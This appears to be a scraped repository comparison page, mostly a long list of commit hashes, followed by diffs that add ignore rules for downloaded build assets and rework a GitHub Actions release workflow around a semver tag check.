0402d622e1 | ||
|
|
04d8d2aac7 | ||
|
|
b71759f3b2 | ||
|
|
13c68a7f50 | ||
|
|
1f894f50ff | ||
|
|
33ea66de58 | ||
|
|
9a432f583d | ||
|
|
cbcd948c83 | ||
|
|
2ada8bf8ed | ||
|
|
02a4657d14 | ||
|
|
b7cef9a07c | ||
|
|
49606ba753 | ||
|
|
116431a049 | ||
|
|
ae5ac2af0f | ||
|
|
b03c2ca6cd | ||
|
|
6a4276e1e2 | ||
|
|
c7358f8e63 | ||
|
|
de2fb65ee0 | ||
|
|
c52ca054a0 | ||
|
|
ffdbaba982 | ||
|
|
d23d814368 | ||
|
|
a57a67b6e0 | ||
|
|
79b2b9da1f | ||
|
|
e0a3114692 | ||
|
|
4bbe8f0976 | ||
|
|
699b9bbe9b | ||
|
|
a6b583f538 | ||
|
|
2ac22d137a | ||
|
|
579252f531 | ||
|
|
6558d53cc0 | ||
|
|
d364f30ce6 | ||
|
|
499df6f923 | ||
|
|
5a3053fe7a | ||
|
|
9d08e4ca9f | ||
|
|
ed9d8274f8 | ||
|
|
5efd05fcdf | ||
|
|
9e95f3dbdc | ||
|
|
3bbd4a230e | ||
|
|
ee2a72ff5f | ||
|
|
86507dc5c5 | ||
|
|
d2b43ebb9f | ||
|
|
29dde09bdc | ||
|
|
3a0ce8b890 | ||
|
|
623579affb | ||
|
|
632eacf3fd | ||
|
|
ce6402a5d8 | ||
|
|
6da2209509 | ||
|
|
6918743f03 | ||
|
|
5d333af798 | ||
|
|
68cddc1de2 | ||
|
|
c681fa68f3 | ||
|
|
8a04d8d882 | ||
|
|
b973e286cb | ||
|
|
49f9cf0963 | ||
|
|
5ffdcf8a7a | ||
|
|
01656894ee | ||
|
|
d994f76920 | ||
|
|
6e40fcdf91 | ||
|
|
b6df1e2981 | ||
|
|
56b84e44f3 | ||
|
|
96896a7442 | ||
|
|
ac9b293942 | ||
|
|
ebf68f6b61 | ||
|
|
e25e228f5c | ||
|
|
b84092b24b | ||
|
|
eddfa20684 | ||
|
|
21468a6310 | ||
|
|
8c1194283b | ||
|
|
48d7e7217c | ||
|
|
a19fddfdba | ||
|
|
28397eb7a9 | ||
|
|
f944d24dc3 | ||
|
|
917586f2cc | ||
|
|
4e56c69cfe | ||
|
|
e6487fb01d | ||
|
|
d88011e140 | ||
|
|
2c5c3ac997 | ||
|
|
9178f6ea5b | ||
|
|
8ebd7da9a8 | ||
|
|
a691484f47 | ||
|
|
3442599ee8 | ||
|
|
d3f40963e3 | ||
|
|
c83a0447b3 | ||
|
|
daaf6e27a2 | ||
|
|
9d1fa0d016 | ||
|
|
a13d63ee47 | ||
|
|
4da9233563 | ||
|
|
16db6033a5 | ||
|
|
c1d1bf7873 | ||
|
|
3217ab53fe | ||
|
|
d46e43dbd6 | ||
|
|
070bac1bf3 | ||
|
|
a511af6fd2 | ||
|
|
97a22bb8eb | ||
|
|
9a63b64a39 | ||
|
|
9894d79dbf | ||
|
|
4b0190b08c | ||
|
|
80dea74d97 | ||
|
|
db5d12d4b6 | ||
|
|
1c4503c1cc | ||
|
|
13fb854b4e | ||
|
|
d0574ffe48 | ||
|
|
ba6b53d569 | ||
|
|
749c3b9247 | ||
|
|
79ca1c9f72 | ||
|
|
7a6f2c3b53 | ||
|
|
e4ade4e8c9 | ||
|
|
f4beecdc8a | ||
|
|
78627a6eff | ||
|
|
77f2b7fd48 | ||
|
|
6f043f8406 | ||
|
|
9870c254f6 | ||
|
|
99281bad0f | ||
|
|
02d1eb5ba4 | ||
|
|
fce86738cc | ||
|
|
b723194931 | ||
|
|
7dc631077a | ||
|
|
e204247009 | ||
|
|
504e5c7b32 | ||
|
|
fdec3cb317 | ||
|
|
342ed489f3 | ||
|
|
b7d0dcc5dd | ||
|
|
0b7596373a | ||
|
|
6b88a01fad | ||
|
|
d58c7b3bca | ||
|
|
c23a542233 | ||
|
|
5b415c5aa1 | ||
|
|
6c77151b80 | ||
|
|
5e7507ba4d | ||
|
|
06d5a934be | ||
|
|
5e5e0df4ec | ||
|
|
e804605d05 | ||
|
|
35eac6f582 | ||
|
|
ff382e4029 | ||
|
|
5a5e8d2a04 | ||
|
|
05a69474e5 | ||
|
|
4516e4994d | ||
|
|
843e287f0c | ||
|
|
47f19d477d | ||
|
|
aee2f78718 | ||
|
|
2edb14baa1 | ||
|
|
a2208280a0 | ||
|
|
0834b725fd | ||
|
|
a0fa261e32 | ||
|
|
c578c426dc | ||
|
|
da9b72c72c | ||
|
|
c02c40cb65 | ||
|
|
be222e3ffa | ||
|
|
cb8170c27b | ||
|
|
03cfab5276 | ||
|
|
114ad3e6a1 | ||
|
|
3d6a8dda52 | ||
|
|
ea1fbf1d74 | ||
|
|
49b8cd299a | ||
|
|
b8dcf756f7 | ||
|
|
0b9d7cc603 | ||
|
|
3ba3cf1177 | ||
|
|
7747df7b96 | ||
|
|
9c87c59ec6 | ||
|
|
dd249088c3 | ||
|
|
914354222d | ||
|
|
efe747b8aa | ||
|
|
369406928c | ||
|
|
f6ac166314 | ||
|
|
3da9ffb7d3 | ||
|
|
4421ec1698 | ||
|
|
7815b67a8a | ||
|
|
01c813148b | ||
|
|
7fce95e707 | ||
|
|
84aed0720f | ||
|
|
71ba959e12 | ||
|
|
5d40d41105 | ||
|
|
237663be19 | ||
|
|
b212e0fb99 | ||
|
|
96a6efae07 | ||
|
|
3561461547 | ||
|
|
1d9d5cf85a | ||
|
|
e70a022981 | ||
|
|
b0c3549b08 | ||
|
|
d924d80ddb | ||
|
|
b3acf2db1f | ||
|
|
a670538a77 | ||
|
|
d6ea4794b7 | ||
|
|
7b67ec872e | ||
|
|
a2bbaa095e | ||
|
|
e5a01ae244 | ||
|
|
4bcefdddb5 | ||
|
|
8e64ab288d | ||
|
|
1bba3532af | ||
|
|
002e38e0ac | ||
|
|
99817a5f35 | ||
|
|
4921fa4fcf | ||
|
|
b044a4584b | ||
|
|
eccc31f945 | ||
|
|
f2b42211d2 | ||
|
|
b1ba761fff | ||
|
|
580d5128ba | ||
|
|
67c519e8d6 | ||
|
|
4f9851215e | ||
|
|
f32d9a91ee | ||
|
|
f9c5daec39 | ||
|
|
b3ab5ea62e | ||
|
|
f623b0cdce | ||
|
|
9b5d4c3bab | ||
|
|
9d4486f906 | ||
|
|
29c2c9df76 | ||
|
|
58b4596598 | ||
|
|
a79b397d17 | ||
|
|
a9f885a919 | ||
|
|
5a532f77dc | ||
|
|
375f6fd235 | ||
|
|
0a32ca109d | ||
|
|
d048427ebf | ||
|
|
d22579c204 | ||
|
|
46a33851fd | ||
|
|
fb5bd84811 | ||
|
|
1e79af3d89 | ||
|
|
f018f86522 | ||
|
|
584cacb7da | ||
|
|
714ab96270 | ||
|
|
1da52a3fec | ||
|
|
ae8444fc75 | ||
|
|
c7a2bbc46b | ||
|
|
4458911e5c | ||
|
|
477df0eac9 | ||
|
|
22286fdcdd | ||
|
|
150b62a0aa | ||
|
|
270e9f2c5f | ||
|
|
ce81ce5de0 | ||
|
|
388b371573 | ||
|
|
a4425c169e | ||
|
|
fd0e54c02c | ||
|
|
59212f06fd | ||
|
|
0140bc2b8f | ||
|
|
4faaa4c075 | ||
|
|
ef1e12e6d4 | ||
|
|
7741b0373f | ||
|
|
4f2767ab59 | ||
|
|
12065fdb99 | ||
|
|
d5c1daaa48 | ||
|
|
be65f1ce58 | ||
|
|
163c11b60c | ||
|
|
47a280cc16 | ||
|
|
68f78e791f | ||
|
|
d28bac4259 | ||
|
|
00197deefb | ||
|
|
0bfbe9ecd4 | ||
|
|
ba34df3b4b | ||
|
|
88ac55a2f7 | ||
|
|
a1c19bc745 | ||
|
|
5a39e253bb | ||
|
|
3b8912df4f | ||
|
|
452ce12e9f | ||
|
|
aed28b0ff1 | ||
|
|
a2c3263619 | ||
|
|
300c2f7851 | ||
|
|
b1d41f1032 | ||
|
|
9054d11749 | ||
|
|
c1f0b32c93 | ||
|
|
a3ecf3d593 | ||
|
|
1a43e70fd1 | ||
|
|
1fc7d881b2 | ||
|
|
27254a2d89 | ||
|
|
19573c9f20 | ||
|
|
0f11532e37 | ||
|
|
c75cf89def | ||
|
|
2c6cf1e96b | ||
|
|
bd4d5eca77 | ||
|
|
514da3a682 | ||
|
|
5e691bdf25 | ||
|
|
0eb997388a | ||
|
|
33e6273c62 | ||
|
|
704d65059f | ||
|
|
dee7434bd8 | ||
|
|
8b6b0d7a14 | ||
|
|
ccf53647b8 | ||
|
|
9e0f9d2fbb | ||
|
|
dc228a5d2d | ||
|
|
6bc6f15fd1 | ||
|
|
cb6c8ce4e7 | ||
|
|
ddf2344e61 | ||
|
|
bfacc71048 | ||
|
|
ced8bdda0c | ||
|
|
78222cb1bc | ||
|
|
f99b3cae9c | ||
|
|
01b370ba44 | ||
|
|
5b90358328 | ||
|
|
f13b11ff52 | ||
|
|
af19c97372 | ||
|
|
4f86172543 | ||
|
|
a5c9f53b8a | ||
|
|
8673552694 | ||
|
|
3a5f4b13a1 | ||
|
|
f12ba957d4 | ||
|
|
fa4a9cc845 | ||
|
|
ac66b0726c | ||
|
|
c4a35d6850 | ||
|
|
395e9717b1 | ||
|
|
f89e435e59 | ||
|
|
1220611e28 | ||
|
|
e452809056 | ||
|
|
51473ec137 | ||
|
|
2da61c1e54 | ||
|
|
e23f040962 | ||
|
|
b2989e0ea3 | ||
|
|
6bd1108152 | ||
|
|
37e35dc1bd | ||
|
|
77a9113025 | ||
|
|
47705435f9 | ||
|
|
233542e059 | ||
|
|
42795b077e | ||
|
|
e687d12241 | ||
|
|
f414bfb01e | ||
|
|
6db7861a70 | ||
|
|
711c56c0b0 | ||
|
|
2d1ea6192c | ||
|
|
24aa3508b3 | ||
|
|
02de46647d | ||
|
|
829e83008b | ||
|
|
e11f4323a2 | ||
|
|
6f7e4401bd | ||
|
|
6d32be6d98 | ||
|
|
f370e96058 | ||
|
|
dd98134729 | ||
|
|
4da5deae47 | ||
|
|
1d50db6982 | ||
|
|
c718085695 | ||
|
|
466abd1bea | ||
|
|
408a13cf43 | ||
|
|
548a4c54c4 | ||
|
|
959c3f1909 | ||
|
|
8f561abfc8 | ||
|
|
9ab27d1746 | ||
|
|
a32d077e16 | ||
|
|
6647abe3d5 | ||
|
|
73f155f6c0 | ||
|
|
57e2111299 | ||
|
|
ea4d517a90 | ||
|
|
b7c8cba630 | ||
|
|
f882f52d44 | ||
|
|
4b67745c56 | ||
|
|
853537d1f4 | ||
|
|
f6a2021213 | ||
|
|
4841e46c34 | ||
|
|
888d4479a3 | ||
|
|
fd7585e628 | ||
|
|
43969f7c11 | ||
|
|
d79fe0c4d1 | ||
|
|
f606639db5 | ||
|
|
934e45ce38 | ||
|
|
ab8da44be4 | ||
|
|
eb3db89e9f | ||
|
|
aa2652e4e7 | ||
|
|
c7531bdacf | ||
|
|
b7d8c535f0 | ||
|
|
a1194c0c41 | ||
|
|
ea0f4e41b7 | ||
|
|
aac5b227ca | ||
|
|
20221a8a50 | ||
|
|
fca1202cee | ||
|
|
6e49197b2c | ||
|
|
ec88f9bd02 | ||
|
|
bce0c8de06 | ||
|
|
44ceccff12 | ||
|
|
6dadd929e8 | ||
|
|
05aad0aa8b | ||
|
|
bbe5f4c7cf | ||
|
|
66c521d719 | ||
|
|
25f7c6e63e | ||
|
|
678c70d108 | ||
|
|
ee95829770 | ||
|
|
a73bdf91e2 | ||
|
|
2cac1eb38b | ||
|
|
9148720eb2 | ||
|
|
dcb0128c3c | ||
|
|
195354792e | ||
|
|
1419e7173c | ||
|
|
1241d87b9b | ||
|
|
3dc7002fdd | ||
|
|
80947425ec | ||
|
|
185ded66c2 | ||
|
|
884f2d0bd7 | ||
|
|
4d0f6585d8 | ||
|
|
998bd5ab80 | ||
|
|
76a8de643f | ||
|
|
a463aa1218 | ||
|
|
ae21b45147 | ||
|
|
5281465c7f | ||
|
|
dd433136bc | ||
|
|
906b8eeec7 | ||
|
|
126dcf7d86 | ||
|
|
43eb9e3ded | ||
|
|
a07b775d90 | ||
|
|
ce4a2178f6 | ||
|
|
acc8b2b013 | ||
|
|
2c527f9486 | ||
|
|
69e58fee1f | ||
|
|
ee22840f94 | ||
|
|
59b4c12adc | ||
|
|
edebf734eb | ||
|
|
3497b7ebe5 | ||
|
|
fc1f0f04c8 | ||
|
|
f42a8d1918 | ||
|
|
9892306307 | ||
|
|
b5f8fa4131 | ||
|
|
5f8470a696 | ||
|
|
12bcf32686 | ||
|
|
31a7063bc0 | ||
|
|
fba629ea07 | ||
|
|
200a62a97f | ||
|
|
49fbe7d451 | ||
|
|
c49fc509db | ||
|
|
659629675b | ||
|
|
678bc2f5ae | ||
|
|
cad6398d2b | ||
|
|
151b86e337 | ||
|
|
18f3b31c77 | ||
|
|
c8a661dccc | ||
|
|
ff0a6db000 | ||
|
|
eb9cc277fa | ||
|
|
9b3acb2e6a | ||
|
|
2eaa3961cd | ||
|
|
5e6a97469c | ||
|
|
8bd3c6c9b8 | ||
|
|
73b1501645 | ||
|
|
7f550ca538 | ||
|
|
184b073ad2 | ||
|
|
2307e8761e | ||
|
|
c5315d2ec0 | ||
|
|
f7dfbed6b4 | ||
|
|
23d85f983a | ||
|
|
8ababef4c0 | ||
|
|
cc8581d9e1 | ||
|
|
e4e9f1cfe9 | ||
|
|
65f23a13d5 | ||
|
|
5463cf7dbd | ||
|
|
bbbdbda50c | ||
|
|
94a9f422b3 | ||
|
|
40c3e06578 | ||
|
|
31533e1917 | ||
|
|
641b736e39 | ||
|
|
a3e965b5a7 | ||
|
|
414730bc32 | ||
|
|
3adc92bfd9 | ||
|
|
cd9740996a | ||
|
|
b5fc7949c9 | ||
|
|
6a5e4786a0 | ||
|
|
b377ea8257 | ||
|
|
71b4f23cde | ||
|
|
7199331b99 | ||
|
|
2f77917425 | ||
|
|
6355cc5d67 | ||
|
|
09d0e9664b | ||
|
|
e7e76d430d | ||
|
|
d91a2febcf | ||
|
|
678a945647 | ||
|
|
7a653f8d74 | ||
|
|
049ec78422 | ||
|
|
66b7b98ed3 | ||
|
|
d341b1cb3a | ||
|
|
f5d2cd2e94 | ||
|
|
2b2feb306b | ||
|
|
d390ac95c7 | ||
|
|
52ff6b4c52 | ||
|
|
4c8486349b | ||
|
|
58bcac52eb | ||
|
|
8469c9a1ce | ||
|
|
ca7b62fb7e | ||
|
|
1902f131e7 | ||
|
|
f1c18e0fc7 | ||
|
|
a34d878e69 | ||
|
|
3a8d649321 | ||
|
|
80e04c71ff | ||
|
|
b8697f6271 | ||
|
|
2c23ccf338 | ||
|
|
7b912042e8 | ||
|
|
b85cd4f5d3 | ||
|
|
cd2e7791af | ||
|
|
d2588ca835 | ||
|
|
ef5b204ecb | ||
|
|
1be433e927 | ||
|
|
9f73a7ad03 | ||
|
|
e455e46ffe | ||
|
|
59b4ebc4c7 | ||
|
|
91b2836968 | ||
|
|
3e67c6e2b8 | ||
|
|
8e7f907353 | ||
|
|
244639a79c | ||
|
|
c03975d6c4 | ||
|
|
429c520c78 | ||
|
|
a6ba86379a | ||
|
|
4b7b8c4b3e | ||
|
|
75c3d0c0fb | ||
|
|
8f7da07a35 | ||
|
|
95a4604a8b | ||
|
|
3eca9e3dd3 | ||
|
|
642838cbc4 | ||
|
|
e030b7cdd0 | ||
|
|
da7a0a33b9 | ||
|
|
b9da25e80d | ||
|
|
4a7351a2da | ||
|
|
261645cc88 | ||
|
|
639c092ff6 | ||
|
|
b8075a1d83 | ||
|
|
992ee14e82 | ||
|
|
2066d200c4 | ||
|
|
683a779159 | ||
|
|
d14003bf14 | ||
|
|
e4b6da3471 | ||
|
|
4c0f36dba2 | ||
|
|
3b295b3bae | ||
|
|
302711e817 | ||
|
|
a8b69b352d | ||
|
|
f180dd9aff | ||
|
|
09f2521bc3 | ||
|
|
d674b8d40f | ||
|
|
d98b24fbc6 | ||
|
|
0f38081c0c | ||
|
|
bedc225344 | ||
|
|
82c68bda54 | ||
|
|
89b0263634 | ||
|
|
9db0b29e1a | ||
|
|
f027b161eb | ||
|
|
729b03d515 | ||
|
|
92c087cd2f | ||
|
|
865f295c65 | ||
|
|
87c14df0e2 | ||
|
|
9488a5f9d8 | ||
|
|
43ca23bab1 | ||
|
|
062f176a36 | ||
|
|
1aefbcb9ee | ||
|
|
dc5220c87e | ||
|
|
6ef4ea3e74 | ||
|
|
bad1897e78 | ||
|
|
ae101d3243 | ||
|
|
a947d9efeb | ||
|
|
afa2b5c715 | ||
|
|
086eb7fe42 | ||
|
|
55c8cddf88 | ||
|
|
7661d0c1b9 | ||
|
|
f1f736d7c1 | ||
|
|
8ad0dfb4c8 | ||
|
|
2378804681 | ||
|
|
9ff31e9724 | ||
|
|
007b5673f9 | ||
|
|
a396867aa5 | ||
|
|
af46878f85 | ||
|
|
47f10d0301 | ||
|
|
52daa1ac66 | ||
|
|
6e175377a6 | ||
|
|
38a740aff2 | ||
|
|
8ffe11afbc | ||
|
|
4690430cec | ||
|
|
ead8c57ca6 | ||
|
|
7a048572a7 | ||
|
|
03e2dd3ba3 | ||
|
|
a14c15d177 | ||
|
|
d4fd8dc675 | ||
|
|
81acc47bdc | ||
|
|
d547708961 | ||
|
|
b16644e6c6 | ||
|
|
415c7ebd03 | ||
|
|
0510ef7242 | ||
|
|
27c6e8e8e4 | ||
|
|
64c40bad05 | ||
|
|
1fd410ee71 | ||
|
|
8368fe6b34 | ||
|
|
a468ec8239 | ||
|
|
40aa052696 | ||
|
|
c3e8a1a938 | ||
|
|
bacd3d6f13 | ||
|
|
b5e611d73b | ||
|
|
2f9c84c793 | ||
|
|
d921c3c56d | ||
|
|
8408296c0b | ||
|
|
b7206530f4 | ||
|
|
5b22e6dfc8 | ||
|
|
ad53f903c7 | ||
|
|
eba14591f5 | ||
|
|
649960a3e9 | ||
|
|
7c33022408 | ||
|
|
7522a0b7de | ||
|
|
651587c324 | ||
|
|
fce0221bc7 | ||
|
|
8a9437c99a | ||
|
|
3599af150f | ||
|
|
d92aaa98e4 | ||
|
|
9e12db9ad2 | ||
|
|
c367c8c948 | ||
|
|
77ab598d59 | ||
|
|
c0a42c6b14 | ||
|
|
7479e86765 | ||
|
|
fd645e6c04 | ||
|
|
ef1c0341de | ||
|
|
1e6218f8fc | ||
|
|
c2abf668b6 | ||
|
|
8c06b83821 | ||
|
|
57ddb1a1bc | ||
|
|
90453067e7 | ||
|
|
c18ee6b183 | ||
|
|
e50fa338cf | ||
|
|
0a43dc688f | ||
|
|
10d5f80f6b | ||
|
|
37efe1684b | ||
|
|
c2adb8187e | ||
|
|
7033be8408 | ||
|
|
497a4cc698 | ||
|
|
f792781d5d | ||
|
|
886c9884d0 | ||
|
|
f09efe9512 | ||
|
|
ee6decb64b | ||
|
|
929e67e295 | ||
|
|
03183aefd3 | ||
|
|
b7ba23c409 | ||
|
|
6c77808359 | ||
|
|
626d1ee5c9 | ||
|
|
689645d4f8 | ||
|
|
7fa1b5c824 | ||
|
|
aa100a2750 | ||
|
|
78abcfce0c | ||
|
|
65d5961077 | ||
|
|
0ac08c6ba3 | ||
|
|
5320e32e5b | ||
|
|
d09c60089f | ||
|
|
0e4145e118 | ||
|
|
605ca87bd1 | ||
|
|
a97d7caf55 | ||
|
|
0aabd71d9d | ||
|
|
5f4960bfb1 | ||
|
|
400c629dec | ||
|
|
85f51a8752 | ||
|
|
ec7e76fc2f | ||
|
|
04e8104ad9 | ||
|
|
d2aaee9882 | ||
|
|
54afc61d94 | ||
|
|
246519da59 | ||
|
|
bd575684d7 | ||
|
|
da4ee8ad51 | ||
|
|
e6645c91a3 | ||
|
|
faf1ad6c1d | ||
|
|
e80825d0c4 | ||
|
|
7d95856858 | ||
|
|
2bfcaf14f3 | ||
|
|
6e0cbbcee3 | ||
|
|
feacb9e74b | ||
|
|
963b3c36da | ||
|
|
d344e357af | ||
|
|
a45c99651d | ||
|
|
0e5d055f37 | ||
|
|
88f5d55e92 | ||
|
|
03d93b95ba | ||
|
|
8fd94879a4 | ||
|
|
19b4b0b0c8 | ||
|
|
0e7a29db1b | ||
|
|
05a31d9d42 | ||
|
|
796a0dbde1 | ||
|
|
accdf0c9e2 | ||
|
|
6aeab60d62 | ||
|
|
99c76c2da0 | ||
|
|
749f71d226 | ||
|
|
3d7227ea2f | ||
|
|
329730120d | ||
|
|
c6a29ea76a | ||
|
|
c40f59bc39 | ||
|
|
b0e0df1cb5 | ||
|
|
2ece520fdc | ||
|
|
f8e2fde805 | ||
|
|
108c4cbf23 | ||
|
|
804158f1ed | ||
|
|
7ab8fe8f77 | ||
|
|
c35aeb13d4 | ||
|
|
01017460e8 | ||
|
|
f1613bbad9 | ||
|
|
657d21e2ea | ||
|
|
9f64ef1486 | ||
|
|
918d729dc5 | ||
|
|
c506020570 | ||
|
|
9d7d1b76fc | ||
|
|
3f5c434c26 | ||
|
|
aa8e01e365 | ||
|
|
8b84197d1a | ||
|
|
cdd2a33aec | ||
|
|
c6e65e6b69 | ||
|
|
8291364aad | ||
|
|
dff24ae31b | ||
|
|
a3ea33bcdb | ||
|
|
dcb1fc3cf3 | ||
|
|
131ad3c420 | ||
|
|
3f721f2591 | ||
|
|
99914e4092 | ||
|
|
4068fafdb9 | ||
|
|
ccc6066b79 | ||
|
|
c53e617fec | ||
|
|
200a1a9942 | ||
|
|
564aeec91f | ||
|
|
115f47a7b4 | ||
|
|
bde3cd6e87 | ||
|
|
6667780164 | ||
|
|
9cfd51d44f | ||
|
|
e6d9740410 | ||
|
|
6240be3a4b | ||
|
|
3a8017e7dd | ||
|
|
364a0919f5 | ||
|
|
1f76a3f4f3 | ||
|
|
5ab52bca05 | ||
|
|
dfcbdf7e07 | ||
|
|
2dc1b69c92 | ||
|
|
69058fe492 | ||
|
|
9f811f8da0 | ||
|
|
9585b430a5 | ||
|
|
efaffb1999 | ||
|
|
2f1f81cc0f | ||
|
|
94d8b9fc8a | ||
|
|
4764e249c3 | ||
|
|
fb8b97f79c | ||
|
|
a7a50d1205 | ||
|
|
afd711f28a | ||
|
|
613b11eb0d | ||
|
|
6b91f106ab | ||
|
|
c0646d57a2 | ||
|
|
ae38e410cf | ||
|
|
0bac39bdcf | ||
|
|
32f0a4e2c4 | ||
|
|
3de75aaada | ||
|
|
7417f24fa5 | ||
|
|
4f6a905355 | ||
|
|
1ebb1f8df5 | ||
|
|
8971f4264b | ||
|
|
dad4e3f627 | ||
|
|
e149795df6 | ||
|
|
7e6c9a0c66 | ||
|
|
f9634342e2 | ||
|
|
88d47526ed | ||
|
|
c221631518 | ||
|
|
0cfe4a0d2a | ||
|
|
67a6249465 | ||
|
|
f388f7648a | ||
|
|
3c4e61253f | ||
|
|
89e5a18365 | ||
|
|
be1f71f56e | ||
|
|
ac34fae842 | ||
|
|
2100d7e1a9 | ||
|
|
01edbd2fc5 | ||
|
|
303a6109fc | ||
|
|
9358ed969e | ||
|
|
b30e97e412 | ||
|
|
977cdd540f | ||
|
|
96c3f0bc9e | ||
|
|
bdd5e9fe5a | ||
|
|
d2a347fd9c | ||
|
|
822472cde4 | ||
|
|
58f6b41e50 | ||
|
|
6bdbcf3bbe | ||
|
|
3c23a068d4 | ||
|
|
e52ef10fec | ||
|
|
a90689b19c | ||
|
|
5bbb36531e | ||
|
|
9d1a37b339 | ||
|
|
31575890b4 | ||
|
|
790eb8f947 | ||
|
|
bacbaaf6a1 | ||
|
|
2ddfab8d55 | ||
|
|
8d2c3b3fef | ||
|
|
13726ac4bf | ||
|
|
df77a90547 | ||
|
|
78ae84d0ae | ||
|
|
f745b33eaf | ||
|
|
973c294cd9 | ||
|
|
caf1dfb071 | ||
|
|
d05a6cb43f | ||
|
|
1499661950 | ||
|
|
763cad5823 | ||
|
|
9116fe89fb | ||
|
|
14b67b621f | ||
|
|
e36f2c252e | ||
|
|
b6c9a12667 | ||
|
|
8ea559c205 | ||
|
|
f4e8ec58c3 | ||
|
|
b1ce68710b | ||
|
|
c0427b4095 | ||
|
|
201548c959 | ||
|
|
9fedb4aa2d | ||
|
|
d77fea4618 | ||
|
|
2be6a314ab | ||
|
|
5270169921 | ||
|
|
4249142857 | ||
|
|
49b658a050 | ||
|
|
93632466f9 | ||
|
|
a12526368d | ||
|
|
51dfc7d50e | ||
|
|
9fe6530be5 | ||
|
|
8f8b714ee0 | ||
|
|
6d2030ef43 | ||
|
|
7654a288bf | ||
|
|
b2c54a5271 | ||
|
|
f6a0d26f86 | ||
|
|
cef744a8c4 | ||
|
|
006170f7fd | ||
|
|
64996a5377 | ||
|
|
c7c99d38e0 | ||
|
|
edbc3bbca3 | ||
|
|
7a76575004 | ||
|
|
ba1224833b | ||
|
|
b8acd390d3 | ||
|
|
9904ef0f9c | ||
|
|
e9ba047c5e | ||
|
|
d4e4e88507 | ||
|
|
6d4f596cb0 | ||
|
|
2384e9a385 | ||
|
|
fd01c17300 | ||
|
|
d76ff1d44d | ||
|
|
8c573f951c | ||
|
|
c850fb6e8f | ||
|
|
499841fef0 | ||
|
|
2f1cee7a69 | ||
|
|
d1e5a18a33 | ||
|
|
0c59ac442d | ||
|
|
742efb70c6 | ||
|
|
8e507dc96b | ||
|
|
b9598545af | ||
|
|
a1b018f1c1 | ||
|
|
5215b24b8d | ||
|
|
6b86f7d0f9 | ||
|
|
04c5f1d4e6 | ||
|
|
8a1a268450 | ||
|
|
7a88f3fbda | ||
|
|
b2484ab31e | ||
|
|
b46643dcf6 | ||
|
|
94ffad3569 | ||
|
|
37a157de08 | ||
|
|
d87df821c5 | ||
|
|
4838d79732 | ||
|
|
51c872e2e8 | ||
|
|
6b34c100e7 | ||
|
|
91effc6ca8 | ||
|
|
79a56e88ee | ||
|
|
a41ef64bfb | ||
|
|
55de4944db | ||
|
|
6803d76fcf | ||
|
|
4efcdc019b | ||
|
|
e7e420f730 | ||
|
|
29f9ff344b | ||
|
|
f33bfca070 | ||
|
|
8950786040 | ||
|
|
55fd77fdea | ||
|
|
08c61c146b | ||
|
|
9aa738884a | ||
|
|
f0fae008d3 | ||
|
|
25b14a97e2 | ||
|
|
6cc3955f2a | ||
|
|
1cfcfc5659 | ||
|
|
5a9b01516d | ||
|
|
ededdfee1c | ||
|
|
f9382baa35 | ||
|
|
35522b1bc6 | ||
|
|
f66f61eb01 | ||
|
|
9cfef52739 | ||
|
|
e256b74773 | ||
|
|
91d1177f82 | ||
|
|
1a66b392ba | ||
|
|
05b887962a | ||
|
|
ffeebebc8a | ||
|
|
c06089974e | ||
|
|
f47a1d9606 | ||
|
|
ac9a5052aa | ||
|
|
921abe0620 | ||
|
|
c3f4b7493d | ||
|
|
4f2e86c6fc | ||
|
|
d9f2146849 | ||
|
|
3a4158fada | ||
|
|
7d095fae82 | ||
|
|
364e61bf10 | ||
|
|
5685af7978 | ||
|
|
6b43991619 | ||
|
|
c91a2ce822 | ||
|
|
da6c11f259 | ||
|
|
82a9e7fc9a | ||
|
|
e7f03babaa | ||
|
|
0af718beea | ||
|
|
16f96c5add | ||
|
|
3f00c639dd | ||
|
|
f5c75eba83 | ||
|
|
2a86250fd4 | ||
|
|
c4616ff43c | ||
|
|
c3a28dcf7a | ||
|
|
b1b6f8186c | ||
|
|
f68932ab3f | ||
|
|
8a669d1d84 | ||
|
|
90b3c7bca4 | ||
|
|
cf5ae8bd07 | ||
|
|
4d3ac9177a | ||
|
|
92a9bc4da9 | ||
|
|
4b3a9dad8a |
No files matched your search
@@ -1,4 +1,9 @@
|
||||
# go-assets.sh downloads
|
||||
/server/assets/fs/**.zip
|
||||
/server/assets/fs/**/garble*
|
||||
/server/assets/fs/**/zig.tar.xz
|
||||
/server/assets/fs/**/zig.zip
|
||||
/server/assets/fs/src.zip
|
||||
|
||||
/*.sdk.tar.xz
|
||||
|
||||
@@ -19,3 +24,5 @@
|
||||
/SECURITY.md
|
||||
/README.md
|
||||
/CONTRIBUTING.md
|
||||
|
||||
.downloaded_assets
|
||||
@@ -2,154 +2,90 @@ name: Release
|
||||
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master]
|
||||
branches:
|
||||
- master
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
tag-check:
|
||||
name: Check Release Tag
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 30
|
||||
outputs:
|
||||
tag: ${{ steps.tag.outputs.tag }}
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
go-version: "1.20.1"
|
||||
fetch-depth: 0
|
||||
|
||||
- name: OS Packages
|
||||
- name: Find Semver Tag
|
||||
id: tag
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
git fetch --prune --tags -f
|
||||
tag=$(git tag --points-at "$GITHUB_SHA" | grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1)
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
